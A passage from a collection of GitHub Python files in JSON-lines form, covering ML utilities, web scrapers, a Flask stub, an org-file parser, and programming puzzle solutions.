DataLoader(train_ds, batch_size=32, shuffle=True, num_workers=4)\n test_dataloader = DataLoader(test_ds, batch_size=32, shuffle=False, num_workers=4)\n \n return train_dataloader, test_dataloader\n \ndef collect_data(env, N_eps, steps_per_eps):\n observations = np.zeros((N_eps*steps_per_eps, env.observation_space.shape[0]))\n actions = np.zeros((N_eps*steps_per_eps, env.action_space.shape[0]))\n rewards = np.zeros((N_eps*steps_per_eps,))\n terminals = np.zeros((N_eps*steps_per_eps,))\n\n for e in range(N_eps):\n x0 = np.random.randn(4,1)*2 # std-dev=2\n x = env.reset(x0=x0)\n for s in range(steps_per_eps):\n ind = e*steps_per_eps + s\n observations[ind,:] = x.T\n\n a = env.action_space.sample()\n x, r, _, _ = env.step(a)\n\n actions[ind,:] = a.T\n rewards[ind] = r\n terminals[ind] = 1\n \n return MDPDataset(observations, actions, rewards, terminals)","repo_name":"lcdbezerra/phyrl","sub_path":"simple_physics1/dataset.py","file_name":"dataset.py","file_ext":"py","file_size_in_byte":2455,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"69870745687","text":"import numpy as np\r\nfrom bert_score import BERTScorer\r\nimport evaluate # Assuming this module contains the load function for loading the 'rouge' object\r\n\r\n# Load BERT scorer with specified parameters\r\nbert_scorer = BERTScorer(lang=\"en\", rescale_with_baseline=True)\r\n\r\n\r\ndef compute_metrics(eval_pred):\r\n predictions, labels = eval_pred\r\n \r\n # Decode the predicted and target sequences\r\n decoded_preds = tokenizer.batch_decode(predictions, skip_special_tokens=True)\r\n labels = np.where(labels != -100, labels, tokenizer.pad_token_id)\r\n decoded_labels = tokenizer.batch_decode(labels, skip_special_tokens=True)\r\n\r\n # Compute ROUGE scorest\r\n result = rouge.compute(predictions=decoded_preds, references=decoded_labels, use_stemmer=True)\r\n\r\n # Compute BERTScore metrics\r\n P, R, F1 = bert_scorer.score(decoded_preds, decoded_labels)\r\n bertscore_metrics = {\r\n 'bertscore_precision': P.mean().item(),\r\n 'bertscore_recall': R.mean().item(),\r\n 'bertscore_f1': F1.mean().item()\r\n }\r\n\r\n # Compute average generated sequence length\r\n prediction_lens = [np.count_nonzero(pred != tokenizer.pad_token_id) for pred in predictions]\r\n result.update(bertscore_metrics)\r\n result[\"gen_len\"] = np.mean(prediction_lens)\r\n\r\n # Round the results for presentation\r\n return {k: round(v, 4) for k, v in result.items()}\r\n","repo_name":"Mkrtchyan03/Projects","sub_path":"text_summarization/src/model/metrics.py","file_name":"metrics.py","file_ext":"py","file_size_in_byte":1368,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"40004063980","text":"import pandas as pd\n\n\n# Lee el archivo CSV en un DataFrame\nhome_data = pd.read_csv(\"train.csv\", index_col=0)\n\n# Muestra las primeras filas del DataFrame\nprint(home_data.head())\n\n\n# Lee el archivo CSV en un DataFrame\nmelbourne_data = pd.read_csv(\"melb_data.csv\", index_col=0)\n\n# Muestra un resumen de los datos en el DataFrame\nprint(melbourne_data.describe())\n","repo_name":"EmilianoTorres123/into-marching","sub_path":"into-machine-learning/ejercicio-1.py","file_name":"ejercicio-1.py","file_ext":"py","file_size_in_byte":359,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"31003084487","text":"from typing import Union, Tuple\nfrom dataclasses import dataclass\nimport torch\nfrom torch.nn import Conv2d, Module, ReLU, Sequential\n\nfrom blue_zero.qnet.base import QNet\n\n__all__ = ['DilationQNet']\n\n\nclass DilationEmbeddingBlock(Module):\n\n def __init__(self, c: int,\n dilation: Union[int, Tuple[int, int]] = (1, 1),\n kernel_size: Union[int, Tuple[int, int]] = (3, 3),\n bias: bool = False):\n super().__init__()\n\n padding1 = ((kernel_size[0] - 1) // 2, (kernel_size[1] - 1) // 2)\n padding2 = (dilation[0] * (kernel_size[0] - 1) // 2,\n dilation[1] * (kernel_size[1] - 1) // 2)\n\n self.conv1 = Conv2d(c, c, kernel_size=kernel_size,\n padding=padding1, dilation=1, bias=bias)\n self.conv2 = Conv2d(c, c, kernel_size=kernel_size,\n padding=padding2, dilation=dilation, bias=bias)\n\n self.conv = Sequential(ReLU(), self.conv1, ReLU(), self.conv2)\n\n def forward(self, x: torch.Tensor):\n return self.conv(x) + x\n\n\n@dataclass(eq=False)\nclass DilationQNet(QNet, id='dilation'):\n num_feat: int\n num_hidden: int\n depth: int\n dilation: Union[int, Tuple[int, int]] = (1, 1)\n kernel_size: Union[int, Tuple[int, int]] = (3, 3)\n bias: bool = False\n\n def __post_init__(self):\n super().__post_init__()\n\n try:\n self.dilation = tuple(self.dilation)\n except TypeError:\n self.dilation = (self.dilation, self.dilation)\n\n try:\n self.kernel_size = tuple(self.kernel_size)\n except TypeError:\n self.kernel_size = (self.kernel_size, self.kernel_size)\n\n if self.kernel_size[0] % 2 == 0 or self.kernel_size[1] % 2 == 0:\n raise ValueError(\"kernel_size must be odd\")\n\n # initial convolution\n padding = ((self.kernel_size[0] - 1) // 2,\n (self.kernel_size[1] - 1) // 2)\n embed_layers = [Conv2d(4, self.num_feat,\n kernel_size=self.kernel_size,\n bias=self.bias, padding=padding)]\n\n # subsequent blocks\n embed_layers.extend(\n DilationEmbeddingBlock(self.num_feat, self.dilation,\n self.kernel_size, bias=self.bias)\n for _ in range(self.depth)\n )\n self.embed = Sequential(*embed_layers)\n\n self.c1 = Conv2d(self.num_feat, self.num_hidden,\n kernel_size=1, bias=True)\n self.c2 = Conv2d(self.num_hidden, 1,\n kernel_size=1, bias=True)\n self._q = Sequential(ReLU(),\n self.c1,\n ReLU(),\n self.c2\n )\n\n def q(self, s: torch.Tensor) -> torch.Tensor:\n return self._q(self.embed(s))\n","repo_name":"spcornelius/blue_zero","sub_path":"blue_zero/qnet/dilation.py","file_name":"dilation.py","file_ext":"py","file_size_in_byte":2893,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"10475175402","text":"# 분할 정복을 이용한 거듭제곱\n# a를 b번 곱한 수를 c로 나눈 나머지를 출력\nimport sys\ninput = sys.stdin.readline\na, b, c = map(int, input().split())\n\n# c를 함수 안에서 처리했더니 시간초과 해결\ndef power(a, b):\n if b == 1:\n return a % c\n\n result = power(a, b//2)\n if b % 2 == 0:\n return result * result % c\n else:\n return result * result * a % c\n\n\nprint(power(a, b))\n","repo_name":"jim4020key/problemsolving","sub_path":"곱셈.py","file_name":"곱셈.py","file_ext":"py","file_size_in_byte":441,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"2904974796","text":"import numpy as np\nimport csv\nimport sys\nsys.path.append(\"models\")\n\ndef subdict (d, keys):\n return dict((k, d[k]) for k in keys if k in d.keys())\n\ndef libsvm_parse (path, rng=None):\n with open(path) as fh:\n reader = csv.reader(fh, delimiter=\" \")\n data = []\n for row in reader:\n data.append(row)\n\n \n def get_dims (row):\n xdim = np.max(list(map(lambda x: int(x.split(\":\")[0]), row[1:])))\n ydim = len(row[0].split(\",\"))\n return xdim, ydim\n \n xdim,ydim = get_dims(data[0])\n X = np.zeros((len(data), xdim), float) # np.float == float\n Y = np.zeros((len(data), ydim), float)\n\n \n order = np.arange(len(data))\n if rng is not None:\n rng.shuffle(order)\n \n for i in order:\n row = data[i]\n y = row[0].split(\",\")\n for j in range(ydim):\n val = y[j]\n if val == \"\":\n val = 0 #None\n else:\n val = float(val)\n Y[i,j] = val\n \n for pos,val in map(lambda x: x.split(\":\"), row[1:]):\n X[i, int(pos)-1] = float(val)\n return X,Y\n\nclass base ():\n def __init__ (self, task):\n self.task = task\n self.seed = task['seed']\n self.rng = np.random.RandomState(self.seed)\n\n def build_model (self):\n njobs = -1 if self.task['parallelize'] else 1\n if self.task['base_model'] == 'all':\n self.model = __import__(self.task['base_model']).builder(self.rng, njobs, self.ntargets!=1, self.task['cv_only'])\n self.model.calc_score = self.score\n else:\n self.model = __import__(self.task['base_model']).builder(self.rng, njobs, self.ntargets!=1)\n \n def load_train_data (self):\n self.X,self.Y = libsvm_parse(self.task['train_data_file'], self.rng)\n self.train_mode = True\n\n self.ntargets = self.Y.shape[1]\n if self.ntargets == 1:\n self.Y = self.Y.ravel()\n\n def load_test_data (self):\n self.X,_ = libsvm_parse(self.task['apply_data_file'])\n self.train_mode = False\n\n def train (self):\n if self.train_mode:\n self.model.fit(self.X, self.Y)\n \n \n def apply (self):\n Y_pred = self.model.predict(self.X).reshape((-1, self.ntargets))\n with open(self.task['result_file'], 'w') as fh:\n writer = csv.writer(fh, delimiter=',', quoting=csv.QUOTE_MINIMAL)\n for row in Y_pred:\n writer.writerow(row)\n fh.close()\n\n def score (self, X, Y):\n Y_pred = self.model.predict(X)\n return np.sqrt(np.mean((Y-Y_pred)**2))\n \n def validate (self, valid_file):\n # for dev purpose\n X,Y = libsvm_parse(valid_file)\n return self.score(X, Y)\n","repo_name":"openochem/ochem-code","sub_path":"WfTools/tools/skl/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":2802,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"31"} +{"seq_id":"2309083143","text":"from django.urls import path\nfrom .views import *\n\n\nurlpatterns = [\n path('', home, name='home'),\n path('upload', upload, name='upload'),\n path('filelist', file_list, name='file_list'),\n path('file', file_download, name='file'),\n]\n","repo_name":"i-64/xchange-hsbc","sub_path":"data/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":243,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"42818987502","text":"from basics import *\r\n\r\ndef islinekeystart(line):\r\n return (line[0] == \"*\")\r\n\r\ndef linelevel(line):\r\n stars = line.split(\"*\")\r\n nstars = 0\r\n for star in stars:\r\n if len(star) == 0:\r\n nstars += 1\r\n else:\r\n break\r\n level = nstars - 1\r\n # puts(\"linelevel\",line,level)\r\n return level\r\n\r\ndef linetitle(line):\r\n result = line.strip(\"*\").strip()\r\n # puts(\"linetitle\",line,\"title\",result)\r\n return result\r\n\r\ndef islineparam(line):\r\n return (line[0] == \":\")\r\n\r\ndef lineparam(line):\r\n strings = line.split(\":\")\r\n key = strings[1].strip(\"-\").strip()\r\n value = \":\".join(strings[2:]).strip()\r\n result = (key,value)\r\n puts(\"lineparam\",result)\r\n return result\r\n\r\nclass OrgLevel:\r\n def __init__(self,title):\r\n self.mtitle = title\r\n self.mparams = {}\r\n self.mchildren = []\r\n self.mlines = []\r\n\r\n#\r\n# format of result:\r\n# list of OrgLevel,\r\n# Example\r\n#\r\n# * Title1\r\n# param1: value1\r\n# param2: value2\r\n# ** Subtitle1\r\n# param1: value3\r\n# * Title2\r\n#\r\n# must give\r\n# [(Title1, [(param1, value1),(param2,value2),(_children, [(Subtitle1, [(param1,value3)])])]),(Title2, [])]\r\n#\r\ndef org2obj(filepath):\r\n result = []\r\n cinstancestack = []\r\n \r\n for line in flines(filepath):\r\n line = line.strip()\r\n if len(line) > 0:\r\n if islinekeystart(line):\r\n newlevel = linelevel(line)\r\n\r\n cinstancestack = cinstancestack[0:newlevel]\r\n title = linetitle(line)\r\n neworglevel = OrgLevel(title)\r\n cinstancestack.append(neworglevel)\r\n\r\n if newlevel == 0:\r\n result.append(neworglevel)\r\n else:\r\n #puts(\"cinstancestack[-2]\",cinstancestack[-2].tostringall())\r\n #puts(\"cinstancestack[-1]\",cinstancestack[-1].tostringall())\r\n cinstancestack[-2].mchildren.append(neworglevel)\r\n # puts(\"stack len\",len(cinstancestack),\" templates\",\" ### \".join([t.tostringall() for t in cinstancestack]))\r\n \r\n else:\r\n if islineparam(line):\r\n (key,value) = lineparam(line)\r\n cinstancestack[-1].mparams[key] = value\r\n else:\r\n cinstancestack[-1].mlines.append(line)\r\n return result\r\n\r\n\r\ndef test():\r\n result = org2obj(\"example.org\")\r\n for level0 in result:\r\n puts(\"level0\",level0.mtitle)\r\n for level1 in level0.mchildren:\r\n puts(\"- level1\",level1.mtitle)\r\n\r\ntest()\r\n","repo_name":"JulienLeonard/org2obj","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2623,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"15939216379","text":"horas_trab = int(input(\"Digite a quantidade de horas trabalhas: \"))\nsalario_hora = float(input(\"Digite o seu salário por hora R$/h: \"))\nsalario_extra = 0\n\nif horas_trab > 160:\n horas_extras = horas_trab - 160\n salario_extra = (salario_hora * 0.5) * horas_extras\n\nsalario_mensal = (horas_trab*salario_hora) + salario_extra\n\nprint(f\"Seu salário total é de R$ {salario_mensal}\")\n\n\n\n","repo_name":"peustratt/python-exercises","sub_path":"introducao_algoritmos_pensamento_computacional/lista_03_condicionais/exercicio_05.py","file_name":"exercicio_05.py","file_ext":"py","file_size_in_byte":388,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"6690937203","text":"import numpy as np\n\nMAX_LENGTH = 7\n\nclass MinePOSPats(object):\n CountDict = {}\n D = []\n T = []\n minSupport = 0\n minAdherence = 0\n\n def __init__(self, D, minSupport, minAdherence):\n self.D = D\n self.T = self.GetAllPossiblePOS(self.D)\n self.minSupport = int(len(self.D) * minSupport)\n self.minAdherence = minAdherence\n\n #def ConvertToPOS(self, D_words):\n # D = []\n # T = []\n # for d_words in D_words:\n # d = []\n\n # sentence = Sentence(d_words, use_tokenizer=True)\n # TAGGER.predict(sentence)\n # for token in sentence:\n # pos = token.get_tag('pos').value\n # d.append(pos)\n # if pos not in T:\n # T.append(pos)\n\n # #tokens = nltk.word_tokenize(d_words)\n # #tagged = nltk.pos_tag(tokens)\n # #for (word, pos) in tagged:\n # # d.append(pos)\n # # if pos not in T:\n # # T.append(pos)\n # D.append(d)\n # print(len(D))\n # return D, T\n\n def GetAllPossiblePOS(self, D):\n T = []\n for d in D:\n for tag in d:\n if tag not in T:\n T.append(tag)\n return T\n\n def MinePOSPats(self):\n print('Start POS Mining')\n print('Total Amount of Documents: %d' % (len(self.D)))\n print('Total Amount of Unique POS: %d' % (len(self.T)))\n print('Minimum Support: %d' % (self.minSupport))\n print('Minimum Adherence: %0.2f' % (self.minAdherence))\n C = []\n F = []\n SP = []\n\n C_k = []\n F_k = []\n for t in self.T:\n C_k.append(t)\n self.GetkgramCounts(1)\n for c in C_k:\n if self.GetCount([c]) >= self.minSupport:\n F_k.append([c])\n\n C.append(C_k)\n F.append(F_k)\n SP.append(F_k)\n\n for k in range(2, MAX_LENGTH + 1):\n C_k = self.CandidateGen(F[k-1-1])\n F_k = []\n SP_k = []\n\n if len(C_k) > 0:\n self.GetkgramCounts(k)\n for c in C_k:\n if self.GetCount(c) >= self.minSupport:\n F_k.append(c)\n for f in F_k:\n if self.FairSCP(f) >= self.minAdherence:\n SP_k.append(f)\n else:\n print('C_k empty at = %d' % (k))\n C.append(C_k)\n F.append(F_k)\n SP.append(SP_k)\n\n if len(SP_k) == 0:\n print('F_k length = %d' % (len(F_k)))\n print('SP_k empty at = %d' % (k))\n break\n\n print('Stopped at k = %d' % (k))\n result = []\n for SP_k in SP:\n result += SP_k\n print('Extracted POS Patterns: %d' % (len(result)))\n return result\n\n def CandidateGen(self, F_k_1):\n C_k = []\n for c in F_k_1:\n for t in self.T:\n c_prime = c + [t]\n C_k.append(c_prime)\n\n return C_k\n\n def FairSCP(self, f):\n n = len(f)\n\n top = np.power(self.GetCount(f) / len(self.D), 2)\n bottom = 0\n for i in range(1, n):\n features = np.split(f, [i])\n features = np.array_split(f, [i])\n pr_feature_1 = self.GetCountSpecial(features[0].tolist()) / len(self.D)\n pr_feature_2 = self.GetCountSpecial(features[1].tolist()) / len(self.D)\n bottom += (pr_feature_1 * pr_feature_2)\n bottom = (1 / (n - 1)) * bottom\n \n result = top / bottom\n return result\n\n def GetCount(self, f):\n f_key = ' '.join(f)\n\n if f_key in self.CountDict:\n return self.CountDict[f_key]\n else:\n return 0\n\n def GetCountSpecial(self, f):\n f_key = ' '.join(f)\n\n if f_key in self.CountDict:\n return self.CountDict[f_key]\n else:\n print('Special Scenario Hit')\n # SPECIAL SCENARIO ONLY - SHOULD NEVER HAPPEN\n count = 0\n for d in self.D:\n for i in range(len(d) - len(f) + 1):\n x = []\n for j in range(len(f)):\n x.append(d[i + j])\n if x == f:\n # Only need to count once per document\n count += 1 \n break\n self.CountDict[f_key] = count\n return count\n\n def GetkgramCounts(self, k):\n tempDict = {}\n for d in self.D:\n ngrams = []\n for i in range(len(d) - k + 1):\n x = []\n for j in range(k):\n x.append(d[i + j])\n if x not in ngrams:\n ngrams.append(x)\n for ngram in ngrams:\n f_key = ' '.join(ngram)\n if f_key in tempDict:\n tempDict[f_key] += 1\n else:\n tempDict[f_key] = 1\n for key in tempDict:\n self.CountDict[key] = tempDict[key]","repo_name":"michaeltran/ML-Gender-Classification","sub_path":"GenderClassification/GenderClassification/MinePOSPats.py","file_name":"MinePOSPats.py","file_ext":"py","file_size_in_byte":5115,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"31"} +{"seq_id":"31482743854","text":"import struct\n\n\"\"\"\nA utility for inspecting register value.\nAuthor: Lukas Bergström\n\"\"\"\n\ndef interpret_xmm(value):\n hex_values = value.strip(\"{}\").split()\n \n # Convert to float (first 4 bytes)\n hex_string_float = ''.join([h[2:] for h in hex_values[:4]])\n byte_data_float = bytes.fromhex(hex_string_float)\n float_val = struct.unpack(' len(coverage_states):\n better_station = station\n coverage_states = states_temp\n\n final_stations.add(better_station)\n states_to_include -= coverage_states\n \n return sorted(list(final_stations))\n\n\nfinal_stations = calculate_all_inclusion_with_less_station(states_to_include, stations)\nassert final_stations == ['kfive', 'kone', 'kthree', 'ktwo']\n","repo_name":"rafaelcassau/grokking-algorithms","sub_path":"algorithms/greedy_algorithms/radio_station.py","file_name":"radio_station.py","file_ext":"py","file_size_in_byte":3022,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"6167008677","text":"from time import sleep\nimport random\nfrom selenium.webdriver.common.by import By\nimport undetected_chromedriver as uc\nfrom selenium import webdriver\nfrom selenium.webdriver.chrome.options import Options\n\nimport time\nclass Crawling():\n def __init__(self, target_url):\n self.driver= uc.Chrome()\n self.target_url = target_url\n def run(self, page):\n linkDetail = []\n link_dictionary = {}\n list_content = []\n # self.driver.get(self.target_url)\n # sleep(random.randint(1,3))\n # self.driver.refresh()\n i = 1\n while True: \n try: \n posts = self.driver.find_elements(By.XPATH,\"/html/body/div[6]/div/div[1]/div[4]/div/a\")\n for ind, postItem in enumerate(posts):\n href= postItem.get_attribute('href')\n linkDetail.append(href)\n except Exception as e:\n break\n self.driver.get(self.target_url +str(i))\n i+=1\n if i == page: \n break\n print(len(linkDetail))\n for link in linkDetail:\n final_list = []\n self.driver.get(link)\n time.sleep(2)\n try: \n tittle = self.driver.find_element(By.CSS_SELECTOR, 'h1[class=\"re__pr-title pr-title js__pr-title\"]').text\n final_list.append(tittle)\n except:\n final_list.append(None)\n try:\n short_description = self.driver.find_element(By.CSS_SELECTOR,'span[class=\"re__pr-short-description js__pr-address\"]').text\n final_list.append(short_description)\n except:\n final_list.append(None)\n \n table = self.driver.find_elements(By.CSS_SELECTOR,'div[class=\"re__pr-specs-content-item\"]')\n for i in table: \n final_list.append(i.text)\n link_dictionary = {'link': link, 'content':final_list }\n list_content.append(link_dictionary)\n with open('your_file2.txt', 'w', encoding='UTF8') as f:\n for line in list_content:\n f.write(f\"{line}\\n\")\n # return f \nif __name__ == \"__main__\":\n target_url = r\"https://batdongsan.com.vn/nha-dat-cho-thue-tp-hcm/p\"\n crawl_obj = Crawling(target_url)\n a= crawl_obj.run(4)\n ","repo_name":"longgggg1310/Crawling-batdongsan.com","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2341,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"30191976938","text":"from flask import Flask, request\nimport primeNoGenerator\n\napp = Flask(__name__)\n\n@app.route(\"/result\", methods = [\"POST\", \"GET\"])\ndef result():\n output = request.get_json()\n\n if len(output.keys()) < 2:\n return {\"Status\": \"Bad Response\"}\n\n primeNumbers = primeNoGenerator()\n return primeNumbers\n\nif __name__ == '__main__':\n app.run(debug=True, port = 2000)","repo_name":"ktsrivastava29/primeNumberGenerator","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":377,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"11317035027","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Thu Jun 7 10:42:12 2018\r\n\r\n@author: sitandon\r\n\"\"\"\r\n\r\nfrom bs4 import BeautifulSoup\r\nfrom urllib.request import urlopen as uReq\r\nimport pymssql as mssql\r\nimport pdb\r\nimport re\r\n\r\nclass crawler:\r\n def __init__(self,serverName,dbName,userName,password):\r\n self.con = mssql.connect(server = serverName,database = dbName,user= userName,password = password) \r\n \r\n def __del__(self):\r\n self.con.close()\r\n \r\n def dbCommit(self):\r\n self.con.commit()\r\n \r\n \"\"\"\r\n This function will only make the entry in URLList\r\n So that we can get the ToId in case of LinkTable\r\n \"\"\"\r\n def addURLToDB(self,url):\r\n cursor = self.con.cursor()\r\n cursor.callproc(\"dbo.uspAddURL\",(url,))\r\n self.dbCommit()\r\n \r\n \"\"\"\r\n This function will make an entry in URLList table as well as Word Table\r\n \"\"\"\r\n def addToDB(self,url,soup):\r\n try:\r\n if self.isIndexed(url):\r\n return \r\n \r\n cursor = self.con.cursor()\r\n \r\n self.addURLToDB(url)\r\n \r\n text = self.getTextOnly(soup)\r\n words = self.separateWords(text)\r\n for i in range(len(words)):\r\n cursor.callproc(\"dbo.uspInsertWord\",(url,words[i],i))\r\n self.dbCommit()\r\n except:\r\n print(\"Error in add to DB\")\r\n \r\n def getTextOnly(self,soup):\r\n v = soup.string\r\n if v == None:\r\n c = soup.contents\r\n resulttext = \"\"\r\n for t in c:\r\n subtext = self.getTextOnly(t)\r\n resulttext += subtext + \"\\n\"\r\n return resulttext\r\n else:\r\n return v.strip()\r\n \r\n def separateWords(self,text):\r\n splitter = re.compile(\"\\\\W*\")\r\n return [s.lower() for s in splitter.split(text) if s!= \"\"]\r\n \r\n def isIndexed(self,url):\r\n try:\r\n cursor = self.con.cursor()\r\n outputVal = cursor.callproc(\"dbo.isURLTraversed\",(url,mssql.output(int,0)))\r\n if outputVal[1] == 0:\r\n return False\r\n else:\r\n return True\r\n except:\r\n print(\"Error in isIndexed\")\r\n \r\n def addLinkRef(self,urlFrom,urlTo,linkText):\r\n try:\r\n cursor = self.con.cursor()\r\n cursor.callproc(\"dbo.uspInsertLinks\",(urlFrom,urlTo,linkText))\r\n self.dbCommit()\r\n except:\r\n print(\"Error in addLinkRef\")\r\n \r\n def crawl(self, pages, depth = 2):\r\n for i in range(depth):\r\n newpages = set()\r\n for page in pages:\r\n try:\r\n uCLient = uReq(page)\r\n entireHTML = uCLient.read()\r\n uCLient.close()\r\n except:\r\n print(\"Couldnot open the url %s\", page)\r\n continue\r\n \r\n page_soup = BeautifulSoup(entireHTML,\"html.parser\")\r\n links = page_soup.find_all(\"a\")\r\n \r\n self.addToDB(page,page_soup)\r\n \r\n for link in links:\r\n url = link.get(\"href\")\r\n if url != None:\r\n url = url.split(\"#\")[0] #-----Rmove location\r\n \r\n print(\"Url: %s\",url)\r\n \r\n #--------Check for complete web path\r\n if \"http\" in url and len(url) > 10: \r\n if not self.isIndexed(url):\r\n newpages.add(url)\r\n \r\n self.addURLToDB(url)\r\n linkText = self.getTextOnly(link)\r\n self.addLinkRef(page,url,linkText)\r\n \r\n self.dbCommit()\r\n pages = newpages\r\n \r\n","repo_name":"sidtandon2014/SearchEngineInPython","sub_path":"Crawler.py","file_name":"Crawler.py","file_ext":"py","file_size_in_byte":3997,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"11132003546","text":"A = [list(map(int, input().split())) for l in range(3)]\nN = int(input())\nB = [int(input()) for l in range(N)]\n\ncard = [[0 for _ in range(3)] for i in range(3)]\n\nfor i in range(N):\n for j in range(3):\n if B[i] in A[j]:\n idx = A[j].index(B[i])\n card[j][idx] += 1\n\nif (card[0][0] + card[0][1] + card[0][2] == 3 or\n card[1][0] + card[1][1] + card[1][2] == 3 or\n card[2][0] + card[2][1] + card[2][2] == 3 or\n card[0][0] + card[1][0] + card[2][0] == 3 or\n card[0][1] + card[1][1] + card[2][1] == 3 or\n card[0][2] + card[1][2] + card[2][2] == 3 or\n card[0][0] + card[1][1] + card[2][2] == 3 or\n card[2][0] + card[1][1] + card[0][2] == 3):\n ans = True\nelse:\n ans = False\n\n\nprint('Yes') if ans else print('No')","repo_name":"HiroFumiko/python_algorithm","sub_path":"easy100/bc_157_b.py","file_name":"bc_157_b.py","file_ext":"py","file_size_in_byte":760,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"34290425890","text":"# src-ch2/motion.py\nimport matplotlib; matplotlib.use('Qt4Agg')\nimport matplotlib.pylab as plt\nplt.get_current_fig_manager().window.raise_()\nimport numpy as np\nimport math\nfrom ODEschemes import rk4\nfrom myanimation import animatePendulum\n\n\n\n#### set default plot values: ####\n#LNWDT=5; FNT=15\n#plt.rcParams['lines.linewidth'] = LNWDT; plt.rcParams['font.size'] = FNT\n\n\"\"\" This script solves the problem with the particle sliding along\n a semicircle:\n\n theta'' = - mu*(theta')^2 +g/r(cos(theta) - mu*sin(theta))\n\n \n\"\"\"\n\ndef func(Theta, t):\n \n theta = Theta[0]\n dtheta = Theta[1]\n \n if dtheta >=0:\n out = np.array([dtheta, math.cos(theta) - mu*math.sin(theta)])\n else:\n out = np.array([dtheta, math.cos(theta) + mu*math.sin(theta)])\n \n return out\n\nmu = 0.4\n\nTau = np.linspace(0, 10, 101)\n\nTheta_0 = np.array([0, 0])\n\nTHETA = rk4(func, Theta_0, Tau)\n\nanimatePendulum(THETA[:,0], Tau, l=1)\n\n\n\n\n\n","repo_name":"hplgit/interactive-documents","sub_path":"examples/sliding_ball/src/motion.py","file_name":"motion.py","file_ext":"py","file_size_in_byte":948,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"26281911220","text":"class Solution:\n def isAlienSorted(self, words: List[str], order: str) -> bool:\n self.order_map = {c:i for i,c in enumerate(order)}\n for i in range(1,len(words)):\n word1 = words[i-1]\n word2 = words[i]\n \n if not self.is_smaller(word1,word2): return False\n return True\n \n def is_smaller(self,word1,word2):\n i = 0\n while i < min(len(word1),len(word2)):\n if self.order_map[word1[i]] < self.order_map[word2[i]]: return True\n elif self.order_map[word1[i]] > self.order_map[word2[i]]: return False\n i += 1\n return i == len(word1)\n","repo_name":"jw3329/leetcode-problem-solving","sub_path":"Interview Questions/Facebook/Phone/953. Verifying an Alien Dictionary/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":651,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"2526429927","text":"with open('input') as file:\n cave_connections = [line.strip().split('-') for line in file]\n\n# Create adjacency list\nconnections = {}\nfor connection in cave_connections:\n first, second = connection[0], connection[1]\n if first not in connections:\n connections[first] = []\n if second not in connections:\n connections[second] = []\n connections[first].append(second)\n connections[second].append(first)\n\n# Part 1\ncomplete_paths = []\nactive_paths = [['start']]\n\nwhile active_paths:\n current_path = active_paths.pop()\n current_cave = current_path[-1]\n\n for neighbour in connections[current_cave]:\n if neighbour == 'start' or (neighbour in current_path and neighbour.islower()):\n continue\n elif neighbour == 'end':\n complete_paths.append(current_path + [neighbour])\n else:\n active_paths.append(current_path + [neighbour])\n\nnum_paths = len(complete_paths)\nprint(f\"Part One: {num_paths}\")\nassert num_paths == 4186\n\n# Part 2\ndef has_visited_small_cave_twice(path):\n small_caves = [cave for cave in path if cave != 'start' and cave != 'end' and cave.islower()]\n return len(set(small_caves)) < len(small_caves)\n\ncomplete_paths = []\nactive_paths = [['start']]\n\nwhile active_paths:\n current_path = active_paths.pop()\n current_cave = current_path[-1]\n\n for neighbour in connections[current_cave]:\n if neighbour == 'start':\n continue\n elif neighbour == 'end':\n complete_paths.append(current_path + [neighbour])\n elif neighbour.islower() and neighbour in current_path and has_visited_small_cave_twice(current_path):\n continue\n else:\n active_paths.append(current_path + [neighbour])\n\nnum_paths = len(complete_paths)\nprint(f\"Part Two: {num_paths}\")\nassert num_paths == 92111\n","repo_name":"brittpinder/advent-of-code","sub_path":"2021/12/01.py","file_name":"01.py","file_ext":"py","file_size_in_byte":1836,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"6686105962","text":"import re\nfrom functools import reduce\nfrom operator import mul\nfrom tools.general import load_input\n\nclass ValidValues:\n\n def __init__(self, bounds):\n self._lo1, self._hi1, self._lo2, self._hi2 = [int(bound) for bound in bounds]\n\n def __contains__(self, value):\n return self._lo1 <= value <= self._hi1 or self._lo2 <= value <= self._hi2\n\ndef parse_ticket_data(ticket_data):\n\n rule_pattern = re.compile(r\"([a-z ]+): ([0-9]+)-([0-9]+) or ([0-9]+)-([0-9]+)\")\n field_rules = {}\n your_ticket = None\n near_tickets = []\n parsing_mode = \"rules\"\n\n for line in ticket_data.split('\\n'):\n\n if line == \"your ticket:\":\n parsing_mode = \"yours\"\n elif line == \"nearby tickets:\":\n parsing_mode = \"nearby\"\n 